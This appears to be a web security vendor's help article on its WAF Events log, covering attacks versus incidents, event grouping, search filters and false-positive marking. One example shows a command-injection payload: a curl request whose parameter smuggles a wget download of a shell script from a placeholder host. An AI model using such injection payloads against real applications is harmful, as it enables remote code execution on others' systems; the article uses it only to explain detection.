Events is a log store containing all malicious requests for your resources that have been repelled by Web Application Firewall (WAF). Entries in the log section are categorized into Attacks and Incidents. Attacks are all malicious requests, even if they do not pose a security threat. Unlike attacks, incidents are malicious requests that target a security weakness.
Here's how the log section looks:
Every entry in the log is referred to as an event. An event can be a single malicious request or several related malicious requests.
For instance, if a hacker attempts to insert harmful code into an XML document's structure with one request, the log records this as an individual event. But if a hacker attempts to crack a password by making a thousand requests, the log clusters all these requests into one event, categorizing it as a “brute force” attack. You can access this event and examine the details of each of the thousand requests.
WAF groups several requests into a single event if they have these three elements in common:
curl localhost/?23036d6ba7=%3Bwget+http%3A%2F%2Fsome_host%2Fsh311.sh
, the harmful payload is wget+http://s
, which instructs the application to start downloading data. Some malicious requests, such as certain brute-force attacks, don't carry a payload.Even if the attacker's IP address and the timing of the requests is varied, attacks will nevertheless be consolidated into one event if they utilize the same attack type, payload, and target URL.
You can view all requests by clicking the + button of any provided event.
Here's how our WAF identifies vulnerabilities:
Here's an example of the check: An attacker sends an “open redirect” (redir) type request. This type of attack alters links within your application so that when a user clicks on a link, they're directed to a fraudster’s page. WAF identifies the malicious request, removes the cookies and the malicious part, and then sends several similar but “neutralized” requests to the application. If the application fails to reject the requests, WAF considers this to be a vulnerability. If the application stops the requests, WAF determines there's no vulnerability.
Events provide detailed insights into malicious requests directed at your application. Here are three scenarios where this can be beneficial:
Identify and resolve vulnerabilities. By examining “incident”-type events, you can determine which parts of your application are susceptible and which types of attacks. This allows you to address these vulnerabilities.
Prevent specific attacks. The event log lets you see if your application is frequently targeted from a particular region or IP address. While these attacks are innocuous (since WAF blocks them,) they still require processing by your server, thus reducing performance for end users. To conserve server resources, you can opt to block the offending IP addresses or regions in the “Access Settings” as per the Access Policy guide.
Gather analytical data to secure the private sections of your application. By analyzing the logs of malicious requests, you can ascertain the most common attack techniques and the IP addresses frequently used. Using this information, you can better protect internal resources not covered by WAF (like an application administration panel or a private platform for employees) against common attacks. Additionally, you can block the IP addresses of frequent offenders.
Attacks refer to any malicious requests. However, not all attack-type events pose a threat. Some malicious requests cannot inflict damage as they target highly secure sections of an application. Even without WAF, your application can handle these requests and deny the attack. But other requests pose a genuine risk as they aim at weaknesses: If WAF hadn't intercepted them, they could have harmed the application. These high-risk requests are classified as incidents.
Go to “Events” and click Attacks. To find the required data, set the search filters:
Date: The date and time of the malicious request.
attacks now
.Payloads: Attack type and the number of unique malicious payloads.
Hits: The attack's number of hits (requests) in the specified time frame.
Top IP/Source: The IP address from which the malicious requests originated. When the malicious requests originate from several IP addresses, the interface shows the IP address responsible for the most requests. The following data is also displayed for the IP address:
Domain/Path: The domain, path, and the application ID that the request targeted.
Code: Response code.
Parameter: The malicious request’s parameters and tags of parsers applied to the request.
You can monitor active attacks in real time. You can find this information in the “Attacks” section:
Note: For a more focused view, you can add a new keyword to the search field to display only those events happening at the moment: attacks now
.
Incidents refer to a malicious request that aims at an application's weak spot. When WAF encounters a harmful request, it blocks it and records an attack-type event. It then evaluates whether the request targets a weak or secure section of the application. If the target is a weak spot, WAF documents an incident. If the target is a secure, protected section, no action is taken.
WAF detects vulnerabilities and creates security incidents.
You can check detected incidents in the Incidents section. To find the required data, use the search field described here or manually set the required filters.
Date: The date and time of the malicious request.
attacks now
.Payloads: Attack type and the number of unique malicious payloads.
Hits: The attack's number of hits (requests) in the specified time frame.
Top IP/Source: The IP address from which the malicious requests originated. When the malicious requests originate from several IP addresses, the interface shows the IP address responsible for the most requests. The following data is also displayed for the IP address:
Domain/Path: The domain, path, and the application ID that the request targeted.
Status: The attack blocking status (linked to the traffic filtration mode):
False positive occurs when attack signs are detected in the legitimate request. Upon investigating the attack, you may determine that all or some requests are false positives. To avoid having the filtering node classify similar requests as attacks in subsequent traffic analyses, you can label a few requests or the entire attack or incident as a false positive.
To mark all hits in the attack as false positives:
1. Go to the Attacks or Incidents section and select an attack with valid requests.
Note: To reduce the request analysis time, you can hide the malicious requests by using the tag !known
.
2. Click + in the event line and then Mark as false positive.
That’s it. WAF won't mark these false positives again.
Was this article helpful?
Discover the all-in-one Web security solution by Gcore